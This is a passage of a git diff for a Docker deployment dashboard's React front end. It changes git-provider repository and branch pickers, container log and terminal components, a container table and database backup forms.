<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -290,7 +283,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={`${repo.owner.username}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -301,8 +294,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -310,8 +303,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.username === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -343,7 +335,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -358,10 +350,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -389,7 +378,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -188,9 +188,6 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitea Account</FormLabel> <FormLabel>Gitea Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -198,6 +195,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -246,7 +244,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -255,18 +253,13 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -287,7 +280,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
key={repo.url} key={repo.url}
value={`${repo.owner.username}/${repo.name}`} value={repo.name}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
owner: repo.owner.username, owner: repo.owner.username,
@@ -296,8 +289,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -305,8 +298,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.username === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -339,7 +331,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -354,10 +346,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branches..." placeholder="Search branches..."
@@ -374,10 +363,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name) form.setValue("branch", branch.name)
} }
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate"> {branch.name}
{branch.name}
</span>
</span> </span>
<CheckIcon <CheckIcon
className={cn( className={cn(

View File

@@ -138,7 +138,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
enableSubmodules: data.enableSubmodules ?? false, enableSubmodules: data.enableSubmodules ?? false,
}); });
} }
}, [form.reset, data]); }, [form.reset, data?.composeId, form]);
const onSubmit = async (data: GithubProvider) => { const onSubmit = async (data: GithubProvider) => {
await mutateAsync({ await mutateAsync({
@@ -179,9 +179,6 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<FormLabel>Github Account</FormLabel> <FormLabel>Github Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -189,6 +186,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -236,7 +234,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -245,19 +243,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo && )?.name ?? "Select repository")}
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -277,7 +270,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={`${repo.owner.login}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -287,8 +280,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.login} {repo.owner.login}
</span> </span>
@@ -296,8 +289,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.login === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -329,25 +321,22 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
{status === "pending" && fetchStatus === "fetching" {status === "pending" && fetchStatus === "fetching"
? "Loading...." ? "Loading...."
: field.value : field.value
? (branches?.find( ? branches?.find(
(branch) => branch.name === field.value, (branch) => branch.name === field.value,
)?.name ?? field.value) )?.name
: "Select branch"} : "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -375,7 +364,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -199,9 +199,6 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitlab Account</FormLabel> <FormLabel>Gitlab Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -211,6 +208,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -258,7 +256,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -274,10 +272,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -315,10 +310,8 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate"> <span>{repo.name}</span>
{repo.name}
</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -360,7 +353,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -375,10 +368,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -406,7 +396,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -35,14 +35,9 @@ export const DockerLogs = dynamic(
interface Props { interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
serviceId?: string;
} }
export const ShowDockerLogsStack = ({ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
appName,
serverId,
serviceId,
}: Props) => {
const [option, setOption] = useState<"swarm" | "native">("native"); const [option, setOption] = useState<"swarm" | "native">("native");
const [containerId, setContainerId] = useState<string | undefined>(); const [containerId, setContainerId] = useState<string | undefined>();
@@ -172,7 +167,6 @@ export const ShowDockerLogsStack = ({
serverId={serverId || ""} serverId={serverId || ""}
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
runType={option} runType={option}
serviceId={serviceId}
/> />
</CardContent> </CardContent>
</Card> </Card>

View File

@@ -35,14 +35,12 @@ interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
appType: "stack" | "docker-compose"; appType: "stack" | "docker-compose";
serviceId?: string;
} }
export const ShowDockerLogsCompose = ({ export const ShowDockerLogsCompose = ({
appName, appName,
appType, appType,
serverId, serverId,
serviceId,
}: Props) => { }: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery( const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{ {
@@ -106,7 +104,6 @@ export const ShowDockerLogsCompose = ({
serverId={serverId || ""} serverId={serverId || ""}
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
runType="native" runType="native"
serviceId={serviceId}
/> />
</CardContent> </CardContent>
</Card> </Card>

View File

@@ -79,7 +79,6 @@ const Schema = z
schedule: z.string().min(1, "Schedule (Cron) required"), schedule: z.string().min(1, "Schedule (Cron) required"),
prefix: z.string().min(1, "Prefix required"), prefix: z.string().min(1, "Prefix required"),
enabled: z.boolean(), enabled: z.boolean(),
includeEncryptionKey: z.boolean(),
database: z.string().min(1, "Database required"), database: z.string().min(1, "Database required"),
keepLatestCount: z.coerce.number().optional(), keepLatestCount: z.coerce.number().optional(),
serviceName: z.string().nullable(), serviceName: z.string().nullable(),
@@ -224,7 +223,6 @@ export const HandleBackup = ({
: "", : "",
destinationId: "", destinationId: "",
enabled: true, enabled: true,
includeEncryptionKey: true,
prefix: "/", prefix: "/",
schedule: "", schedule: "",
keepLatestCount: undefined, keepLatestCount: undefined,
@@ -264,7 +262,6 @@ export const HandleBackup = ({
: "", : "",
destinationId: backup?.destinationId ?? "", destinationId: backup?.destinationId ?? "",
enabled: backup?.enabled ?? true, enabled: backup?.enabled ?? true,
includeEncryptionKey: backup?.includeEncryptionKey ?? true,
prefix: backup?.prefix ?? "/", prefix: backup?.prefix ?? "/",
schedule: backup?.schedule ?? "", schedule: backup?.schedule ?? "",
keepLatestCount: backup?.keepLatestCount ?? undefined, keepLatestCount: backup?.keepLatestCount ?? undefined,
@@ -312,7 +309,6 @@ export const HandleBackup = ({
prefix: data.prefix, prefix: data.prefix,
schedule: data.schedule, schedule: data.schedule,
enabled: data.enabled, enabled: data.enabled,
includeEncryptionKey: data.includeEncryptionKey,
database: data.database, database: data.database,
keepLatestCount: data.keepLatestCount ?? null, keepLatestCount: data.keepLatestCount ?? null,
databaseType: data.databaseType || databaseType, databaseType: data.databaseType || databaseType,
@@ -413,7 +409,7 @@ export const HandleBackup = ({
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -669,31 +665,6 @@ export const HandleBackup = ({
</FormItem> </FormItem>
)} )}
/> />
{databaseType === "web-server" && (
<FormField
control={form.control}
name="includeEncryptionKey"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 ">
<div className="space-y-0.5">
<FormLabel>Include encryption key</FormLabel>
<FormDescription>
Stores the encryption key inside the backup so
environment variables can be restored on a new server.
Anyone with access to the backup file can decrypt
them.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
)}
{backupType === "compose" && ( {backupType === "compose" && (
<> <>
{form.watch("databaseType") === "postgres" && ( {form.watch("databaseType") === "postgres" && (

View File

@@ -345,7 +345,7 @@ export const RestoreBackup = ({
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -427,7 +427,7 @@ export const RestoreBackup = ({
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >

View File

@@ -23,7 +23,6 @@ interface Props {
containerId: string; containerId: string;
serverId?: string | null; serverId?: string | null;
runType: "swarm" | "native"; runType: "swarm" | "native";
serviceId?: string;
} }
export const priorities = [ export const priorities = [
@@ -53,7 +52,6 @@ export const DockerLogsId: React.FC<Props> = ({
containerId, containerId,
serverId, serverId,
runType, runType,
serviceId,
}) => { }) => {
const { data } = api.docker.getConfig.useQuery( const { data } = api.docker.getConfig.useQuery(
{ {
@@ -159,10 +157,6 @@ export const DockerLogsId: React.FC<Props> = ({
params.append("serverId", serverId); params.append("serverId", serverId);
} }
if (serviceId) {
params.append("serviceId", serviceId);
}
const wsUrl = `${protocol}//${ const wsUrl = `${protocol}//${
window.location.host window.location.host
}/docker-container-logs?${params.toString()}`; }/docker-container-logs?${params.toString()}`;
@@ -228,7 +222,7 @@ export const DockerLogsId: React.FC<Props> = ({
ws.close(); ws.close();
} }
}; };
}, [containerId, serverId, serviceId, lines, search, since]); }, [containerId, serverId, lines, search, since]);
const handleDownload = () => { const handleDownload = () => {
const logContent = filteredLogs const logContent = filteredLogs

View File

@@ -1,13 +1,10 @@
import type { ColumnDef } from "@tanstack/react-table"; import type { ColumnDef } from "@tanstack/react-table";
import copy from "copy-to-clipboard";
import { ArrowUpDown, MoreHorizontal } from "lucide-react"; import { ArrowUpDown, MoreHorizontal } from "lucide-react";
import { toast } from "sonner";
import { Badge } from "@/components/ui/badge"; import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { import {
DropdownMenu, DropdownMenu,
DropdownMenuContent, DropdownMenuContent,
DropdownMenuItem,
DropdownMenuLabel, DropdownMenuLabel,
DropdownMenuTrigger, DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu"; } from "@/components/ui/dropdown-menu";
@@ -40,7 +37,6 @@ export const columns: ColumnDef<Container>[] = [
}, },
{ {
accessorKey: "state", accessorKey: "state",
filterFn: "equals",
header: ({ column }) => { header: ({ column }) => {
return ( return (
<Button <Button
@@ -60,7 +56,7 @@ export const columns: ColumnDef<Container>[] = [
variant={ variant={
value === "running" value === "running"
? "default" ? "default"
: value === "exited" || value === "dead" : value === "failed"
? "destructive" ? "destructive"
: "secondary" : "secondary"
} }
@@ -103,28 +99,6 @@ export const columns: ColumnDef<Container>[] = [
}, },
cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>, cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>,
}, },
{
accessorKey: "ports",
header: ({ column }) => {
return (
<Button
variant="ghost"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
Ports
<ArrowUpDown className="ml-2 h-4 w-4" />
</Button>
);
},
cell: ({ row }) => {
const value = row.getValue("ports") as string;
return (
<div className="max-w-[16rem] truncate lowercase" title={value}>
{value}
</div>
);
},
},
{ {
id: "actions", id: "actions",
enableHiding: false, enableHiding: false,
@@ -141,14 +115,6 @@ export const columns: ColumnDef<Container>[] = [
</DropdownMenuTrigger> </DropdownMenuTrigger>
<DropdownMenuContent align="end"> <DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel> <DropdownMenuLabel>Actions</DropdownMenuLabel>
<DropdownMenuItem
onClick={() => {
copy(container.containerId);
toast.success("Container ID copied to clipboard");
}}
>
Copy Container ID
</DropdownMenuItem>
<ShowDockerModalLogs <ShowDockerModalLogs
containerId={container.containerId} containerId={container.containerId}
serverId={container.serverId} serverId={container.serverId}

View File

@@ -9,7 +9,7 @@ import {
useReactTable, useReactTable,
type VisibilityState, type VisibilityState,
} from "@tanstack/react-table"; } from "@tanstack/react-table";
import { ChevronDown, Container, RefreshCw } from "lucide-react"; import { ChevronDown, Container } from "lucide-react";
import * as React from "react"; import * as React from "react";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { import {
@@ -26,13 +26,6 @@ import {
DropdownMenuTrigger, DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu"; } from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input"; import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { import {
Table, Table,
TableBody, TableBody,
@@ -51,26 +44,10 @@ interface Props {
serverId?: string; serverId?: string;
} }
const CONTAINER_STATES = [
"running",
"exited",
"paused",
"restarting",
"created",
"removing",
"dead",
];
export const ShowContainers = ({ serverId }: Props) => { export const ShowContainers = ({ serverId }: Props) => {
const { data, isPending, refetch, isRefetching } = const { data, isPending } = api.docker.getContainers.useQuery({
api.docker.getContainers.useQuery( serverId,
{ });
serverId,
},
{
refetchInterval: 10_000,
},
);
const [sorting, setSorting] = React.useState<SortingState>([]); const [sorting, setSorting] = React.useState<SortingState>([]);
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>( const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
@@ -129,48 +106,12 @@ export const ShowContainers = ({ serverId }: Props) => {
} }
className="md:max-w-sm" className="md:max-w-sm"
/> />
<Select
value={
(table.getColumn("state")?.getFilterValue() as string) ??
"all"
}
onValueChange={(value) =>
table
.getColumn("state")
?.setFilterValue(value === "all" ? undefined : value)
}
>
<SelectTrigger className="w-40 max-sm:w-full capitalize">
<SelectValue placeholder="Filter by state" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All states</SelectItem>
{CONTAINER_STATES.map((state) => (
<SelectItem
key={state}
value={state}
className="capitalize"
>
{state}
</SelectItem>
))}
</SelectContent>
</Select>
<Button
variant="outline"
size="icon"
className="shrink-0 sm:ml-auto"
onClick={() => refetch()}
disabled={isRefetching}
>
<RefreshCw
className={`h-4 w-4 ${isRefetching ? "animate-spin" : ""}`}
/>
<span className="sr-only">Refresh</span>
</Button>
<DropdownMenu> <DropdownMenu>
<DropdownMenuTrigger asChild> <DropdownMenuTrigger asChild>
<Button variant="outline" className="max-sm:w-full"> <Button
variant="outline"
className="sm:ml-auto max-sm:w-full"
>
Columns <ChevronDown className="ml-2 h-4 w-4" /> Columns <ChevronDown className="ml-2 h-4 w-4" />
</Button> </Button>
</DropdownMenuTrigger> </DropdownMenuTrigger>

View File

@@ -23,14 +23,12 @@ interface Props {
containerId: string; containerId: string;
serverId?: string; serverId?: string;
children?: React.ReactNode; children?: React.ReactNode;
serviceId?: string;
} }
export const DockerTerminalModal = ({ export const DockerTerminalModal = ({
children, children,
containerId, containerId,
serverId, serverId,
serviceId,
}: Props) => { }: Props) => {
const [mainDialogOpen, setMainDialogOpen] = useState(false); const [mainDialogOpen, setMainDialogOpen] = useState(false);
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false); const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -76,7 +74,6 @@ export const DockerTerminalModal = ({
id="terminal" id="terminal"
containerId={containerId} containerId={containerId}
serverId={serverId || ""} serverId={serverId || ""}
serviceId={serviceId}
/> />
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}> <Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}> <DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -10,14 +10,12 @@ interface Props {
id: string; id: string;
containerId?: string; containerId?: string;
serverId?: string; serverId?: string;
serviceId?: string;
} }
export const DockerTerminal: React.FC<Props> = ({ export const DockerTerminal: React.FC<Props> = ({
id, id,
containerId, containerId,
serverId, serverId,
serviceId,
}) => { }) => {
const termRef = useRef(null); const termRef = useRef(null);
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash"); const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -40,7 +38,7 @@ export const DockerTerminal: React.FC<Props> = ({
const addonFit = new FitAddon(); const addonFit = new FitAddon();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`; const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
const ws = new WebSocket(wsUrl); const ws = new WebSocket(wsUrl);

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";
@@ -229,7 +229,6 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
)} )}
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.libsqlId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -28,7 +28,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Sqld Node</Label> <Label>Sqld Node</Label>
@@ -71,7 +71,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Enable Namespaces</Label> <Label>Enable Namespaces</Label>

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";
@@ -236,7 +236,6 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
))} ))}
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mariadbId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -25,11 +25,11 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Database Name</Label> <Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} /> <Input disabled value={data?.databaseName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Password</Label> <Label>Password</Label>
